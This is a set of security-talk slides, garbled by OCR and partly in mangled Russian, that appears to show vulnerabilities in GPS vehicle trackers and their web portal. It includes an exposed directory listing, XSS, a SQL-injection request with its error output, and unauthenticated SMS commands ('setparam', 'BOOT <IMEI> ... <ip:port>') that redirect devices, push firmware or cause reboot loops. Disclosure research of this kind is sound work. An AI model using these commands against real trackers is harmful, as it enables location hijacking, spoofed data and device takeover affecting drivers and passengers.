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Aara Crapr Cron Bpemsa Mpober

(2 rpysosoi (12 3annceit) i

09-11-2012 06:52 17:37 10:45 303.8

[F] | 09-11-2012 22:56 23:25 0:29 0.3 ‘

]| 10-11-2012 06:36 08:08 1:31 85.2

[ 10-11-2012 09:17 16:30 7:13 152.7

[ 12-11-2012 00:26 00:41 0:14 0.3

[ 12-11-2012 07:03 17:14 10:11 279.7 fug
[ 13-11-2012 06:45 18:52 12:06 379

]| 14-11-2012 07:37 11:06 3:28 112.2

[F] | 14-11-2012 12:24

CobbiTne

08:22 3anpaska 52.83 n.

08:38 Hauan asiwkeHne 53 kKMfu

08:51 OcTaHosunca

09:29 Hayan asiokerne 47 kKM/y

09:33 OcTaHosunca

09:38 Hauqan asikeHune 14 kMfy

09:39 Havan aswkerue 33 KMfu

09:41 MpesbiweHue nMMuTa ckopocTk 100 KM/u 5 cex.
09:42 MNpesbiweHUe MMMUTa ckopocTk 100 KM/fu 4 cex.,
09:50 OcTaHoBunca

09:57 Havan aswkerne 12 kKMfu

10:03 MNpesbiweHMe NMMUTa ckopocTi 100 KM/Y 4 cex.

10:13 OcTaHoBunca -



Attack. Inf disclosure

=2 C [} pee=gpsme

Index of /vumg

Name Last modified  Size Description

Parent Directory -

-
ﬁ Kourparemter H_TII (1).zip 25-Oct-2012 19:56 1.0M

Konrparepter H_TTI (2 7ip 06-WNov-2012 17:42 1.0M
Eourparenter M TIL.zip 18-0ct-2012 11:09 1.00

. | TP.csv 16-Sep-2012 21:07 4.7M
b, TPlesv 18-0ct-2012 1127 4.7M
b IP2csv 26-Oct-2012 22:31 4.7M
L TPicsv 26-Oct-2012 22:58 4.7M
b TP4.csv 06-Nov-2012 1225 4.8M
b TIPScsv 08-Nov-2012 20:37 4.9M
e | bill html 07-Nov-2012 17:10 6.1K
L, data_transfer php 22-Sep-2012 12:30 1.2K
ls. mars_batch php 09-Nov-201211:17 55K
[?  textxhiml 08-Nov-2012 11:30 1.4M

Apache/2.2.13 (CenrQ5) Server at = wews Pare 80



Attack. XSS

% ') @'-ﬁgps.mm.uaf g o - .




Attack. SQLinj

request
l/raw rparams rheaders rhex |

POST /index.php/ajax/user_add HTTF/l.1
Host: ~gps.ru

name=aaadaslogin=bbhbhépasswvd=bbhérole=0s¢info=cociemal l=mwwidvrr . vwelnsisdn=1l1l1lllegroups=143&id=111"

N )

response
[‘vaw [ headers | hex [ hitml [ render |

<div id="content">
<hl=A Database Error Occurred</hl:
<prError Mumber: </pr<p>ERROR: syntax error a
LINME 7T: id=111%'
fefpr<prupdate usr

info="'ccec',

msisdn='11111",

email="'vvvavvv.vv'

name="'aaaa',

passwd='hbbh' where

id=111\'</p> </divs
</hody

LEa "




PROFIT?

All your cars

prisoners

1

children

are belong to us...




Too simple...
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GPS ant.
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How to interact with?
RS-232 - configuration,

firmware update

SMS — configuration,
data exchange J\
GPRS — data exchange,

configuration, 8
firmware update

Voice call - just for voice calling =)



SMS configuration require authentication...

Ornpaenedo 30 Moxe 2011 - 08:37

Nobporo epemenn cyTok!

CTonkHyNcA © Takol npofnemoi, He mory HacTpoute 42 npubop npu nomowk CMC, aktweHel Bce 4 npodwnA, HeobxXogWMo NOMEHATE TONBKD Ip CepBepa, elim tE s i =10
[NA BCEX HOMEpOR, NOTWH W Naponb He YCTaHOBNeH.!

MofckasnTe NoXaNyACTa YTO HA HEro OTNPaBNATE
oTnpaenAw setparam 3245 (ip) NpUXogMT TONBKD OTYET 0 LOCTAEKE, 0T NoWDODA HUUErD He NOMXOAWT W iD He MeHAeTCAl

Ha 22 npubope Bce HACTpawBaeTCA HopMankHo!(cornacHo madyany)

3apaHee cnacubal

...but who use it? |




...In numbers

M secure M no password m "123" like login/pass



Y 4 setparam 3245 <IP>
Y 4 setparam 3246 <Port>

change any sent parameter:
 coordinates
* speed
* fuel level




DEMO




Firmware update through SMS

 Just sent SMS:

BOOT <IMEI> <APN setting> <ip:port> <filename>

...and device try to load ip:port\filename and
update own firmware

Without any authentication!




DoS through SMS

* Just sent SMS:
BOOT <IMEI>

...and device will be reboot in infinity updater

W

loop




Questions?




